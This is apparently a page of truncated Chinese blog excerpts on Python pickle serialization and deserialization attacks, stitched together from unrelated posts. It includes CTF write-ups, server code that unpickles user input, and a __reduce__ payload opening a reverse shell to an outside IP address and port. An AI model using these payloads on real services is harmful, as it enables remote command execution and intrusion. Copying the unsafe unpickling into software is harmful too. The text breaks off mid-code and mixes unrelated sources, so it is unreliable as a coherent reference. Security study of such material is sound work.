Python-反序列化函数使用 pickle.dump(obj, file) : 将对象序列化后保存到文件 pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象 pickle.dumps(obj) : 将对象序列化成字符串格式的字节流 pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象 魔术方法: reduce() 反序列化时调用 reduce_ex() 反序列化时调用 setstate() 反序列化时调用 getstate(

零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. 测试代码: #client.py import os import sys import base64 import socket import cPickle #定义payload类型 class payload(object): def __init__(self,command): self

最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 漏洞原理: python序列化会通过pickle的dumps和loads来进行序列化和反序列化 其中序列化后的值为 对应的格式如下: c:读取新的一行作为模块名module,读取下一行作为对象名o

参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下面的内容 Python 中有很多能进行序列化的模块,比如 Json.pickle/cPickle.Shelve.Marshal 一般 pickle 模块较常使用 在 pickle 模块中 , 常用以下四个方法 pickle.dump(obj, file) : 将对象序列化后保存到文件 pickle.

# 若需要处理更复杂的数据, 用pickle. pickle只有在Python里能用, 其它语言不行. # 序列化. import pickle def sayhi(name): print('hello', name) f = open('test.text', 'wb') info = { 'name': 'alex', 'age': 22, 'func': sayhi } f.write(pickle.dumps(info)) # pickle会默认转换成二进制,所以读取方式应该是wb而不

import pickle import os class A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("121.195.170.181",9999));os.dup2(s.fileno(),0);os.dup2(s.fi

原理在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任意命令执行例如网页源码try:       become = self.get_argument('become')       p = pickle.loads(urllib.unquote(become))       return self.render('form.html', res=p, member=1)except:        return self.render('form.html', r

正如本题所说,脑洞有点大.考点还很多,不过最核心的还是python的pickle反序列化漏洞 题目中暗示了要6级号,找了很多页都没看到,于是写了脚本 在第180页有6级号,但是价格出奇的高,明显买不起.bp抓包发现有疑似折扣的参数,把值改低后提交,重定向到了后台页面,但是需要admin才行. 这时一早就发现的JWT便派上了用场.在https://jwt.io/在线解析jwt.data段有我们的用户名,可以伪造成admin,但还需要有密钥. 可以使用工具破解.详情见:https://github.

pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构. pickling(和 unpickling)也被称为"序列化", &qu

题目过程1.一开始提示说要买到V6,观察源码,发现/static/img/lv/lv4.png.注册之后尝试寻找V6.观察url发现/shop?page=2.尝试写脚本匹配一下.发现在第181页. import requests url="http://20573976-f06b-4718-9d26-89a9471c808b.node3.buuoj.cn/shop?page=" for i in range(0,2000): r=requests.get(url+str(i)) if(

part1:不求甚解的复现 对于服务端源码:    编写恶意序列化对象生成程序: 将生成的恶意序列化对象输入服务端user,使其执行系统命令.(上面那俩其实都行) part2:原理解释 b'xxx'是python的byte数据类型,一个字符只占一个字节:往往用[\x4A]这种形式表示,但如果是可见字符,也可以直接写. b'xxx'读取时需使用.decode()方法,后面的括号填字符集,默认utf-8 序列化与反序列化,之前在PHP里有初步接触. 在python pickle库中, .dump()

考点:JWT身份伪造.python pickle反序列化.逻辑漏洞 1.打开之后首页界面直接看到了提示信息,信息如下: 2.那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一页,此时观察下访问的url地址:http://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明显这里是要我们修改page参数进行访问,获取到lv6后进行购买,那就用脚本获取下lv6的位置,脚本和结果如下: 脚本代码: import requests url = 'ht

在python中,序列化可以理解为:把python的对象编码转换为json格式的字符串,反序列化可以理解为:把json格式字符串解码为python数据对象.在python的标准库中,专门提供了json库与pickle库来处理这部分. json的dumps方法和loads方法,可实现数据的序列化和反序列化.具体来说,dumps方法,可将json格式数据序列为Python的相关的数据类型:loads方法则是相反,把python数据类型转换为json相应的数据类型格式要求.在序列化时,中文汉字总是被转

最近准备研究一下反序列化漏洞,但是Java代码看不懂,所以先找一个python的看起,毕竟这种漏洞在python.php中一样存在,等研究明白了基本原理后去看java的反序列化漏洞. python反序列化漏洞的本质在于序列化对象的时候,类中自动执行函数的也被序列化,而且在反序列化时候该函数会直接被执行. # -*- coding:utf-8 -*- import subprocess import cPickle class Ren(object): name = 1 def __reduce_

序列化是为了将内存中的字典.列表.集合以及各种对象,保存到一个文件中(字节流).而反序列化是将字节流转化回原始的对象的一个过程. json库 序列化:json.dumps() 反序列化:json.loads() 只能处理字典.列表这些简单的序列化与反序列化. pickle库 处理复杂的序列化与反序列化. pickle.dumps() pickle.loads() 只要函数名一样. 序列化.py import pickle def PoC(): print("这是Python序列化程序代码&quo

本节内容 迭代器&生成器 装饰器 Json & pickle 数据序列化 一.生成器 1.列表生成式 >>> L = [x * x for x in range(10)] >>> L [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] 2.生成器 只有在调用时才会生成相应的数据,只有一个方法:__next__()方法.next(),也就是又next方法的 生成器 通过列表生成式,我们可以直接创建一个列表.但是,受到内存限制,列表容量

在使用python的json模块对json字串反序列化成python对象的时候出现的字符串都是unicode类型,而不是python内置的str类型.在某种使用场景下用户必须做显式的转换才能正常使用,徒增一些麻烦,为解决这一问题封装下述函数. def convert(input): if isinstance(input, dict): return {convert(key): convert(value) for key, value in input.iteritems()} elif i

前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞. 以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典.不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面找到了很多有趣的东西.截图不多(有的是后面补得),大家凑合看吧. 0x01 判断SSRF漏洞 目标example.com,根据其中csrf_token的样式,我猜测其为flask开发(当然也可能是一个我不太熟悉的框

转:https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html Python安全 - 从SSRF到命令执行惨案 PHITHON  前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞. 以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典.不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面

目录 一.python入门day1-day24 day01-03 编程语言 day04 变量 day05 垃圾回收机制(GC机制) 1 引用计数 2 标记清除 3 分代回收 day05 程序交互与基本运算符 day06 可变不可变类型 day07 流程控制 1 赋值 = 2 浅拷贝 copy 3 深拷贝 deepcopy day08-10 基本数据类型 1 字符串 2 列表 3 元组 4 字典 5 集合 6 基本数据类型总结 day10 字符编码 1 ascii表 2 GBK(中国),Shift